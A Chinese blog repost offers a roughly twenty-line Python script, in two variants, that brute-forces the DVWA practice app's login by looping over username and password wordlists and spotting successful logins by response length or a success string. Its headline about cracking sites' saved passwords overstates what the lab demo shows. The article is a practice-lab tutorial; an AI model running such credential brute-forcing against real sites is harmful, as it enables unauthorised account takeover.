网站自动记住的密码它真的安全吗?我只用了二十行Python代码就攻破了登录获取所有密码。
2022/1/17 11:04:28
本文主要是介绍网站自动记住的密码它真的安全吗?我只用了二十行Python代码就攻破了登录获取所有密码。,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级。
关键代码解释
url指定url地址
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
header设置请求头
header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7' }
payload设置请求参数
payload = {'username':username,'password':password,"Login":'Login'}
这一行的作用是作一次get请求,响应信息被变量Response接收。
Response = requests.get(url,params=payload,headers=header)
这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解
这种方式和burp的Intruder模块的Cluster bomb攻击方式一样。
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
然后把循环结果存放到csv文件里,用逗号分割数据
Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度。 result = str(Response.status_code) + ',' + username + ','\ + password + ',' + str(len(Response.content)) f.write(result + '\n')
完整代码
方法一
登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。
import requests url = "http://192.168.171.2/dvwa/vulnerabilities/brute/" #proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看 header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u' } f = open('result.csv','w') f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n') for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) result = str(Response.status_code) + ',' + username + ','\ + password + ',' + str(len(Response.content)) f.write(result + '\n') print('\n完成')
运行
编辑
添加图片注释,不超过 140 字(可选)
这就是脚本发送的数据包
编辑
添加图片注释,不超过 140 字(可选)
查看结果
编辑
添加图片注释,不超过 140 字(可选)
查看包长度与其他不同的数据,登录测试
编辑
添加图片注释,不超过 140 字(可选)
方法二
这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里。
主要改动在第17到20行
import requests url = "http://192.168.171.2/dvwa/vulnerabilities/brute/" #proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看 header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u' } f = open('result.txt','w') for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) if not(Response.text.find('Welcome to the password protected area')==-1): result = username + ':' + password print(result) f.write(result + '\n') print('\n完成')
运行
编辑
添加图片注释,不超过 140 字(可选)
编辑
添加图片注释,不超过 140 字(可选)
此项目为Python代码演示项目。不可用于非法用途。当然你如果能用别人电脑,手机。那本身网站就记录了密码的。所以就是一个项目演示效果。哈哈哈。需要源码的关注公众号:Python源码 领取完整代码
这篇关于网站自动记住的密码它真的安全吗?我只用了二十行Python代码就攻破了登录获取所有密码。的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-10-04Python外包有哪些常见的主要库-icode9专业技术文章分享
- 2024-10-02基于深度学习的钢铁缺陷检测系统(yolov8、注意力机制、PyQt5界面、Python)
- 2024-10-01怎么用python搭建一个系统-icode9专业技术文章分享
- 2024-09-30Python基础入门教程
- 2024-09-30获取参数学习:Python中的基础教程
- 2024-09-30Python编程基础详解
- 2024-09-29点击加载学习:Python编程基础教程
- 2024-09-29数据科学五大Python前端库:第二部分
- 2024-09-27使用python 将ETH账户的资产打散
- 2024-09-26Python编程基础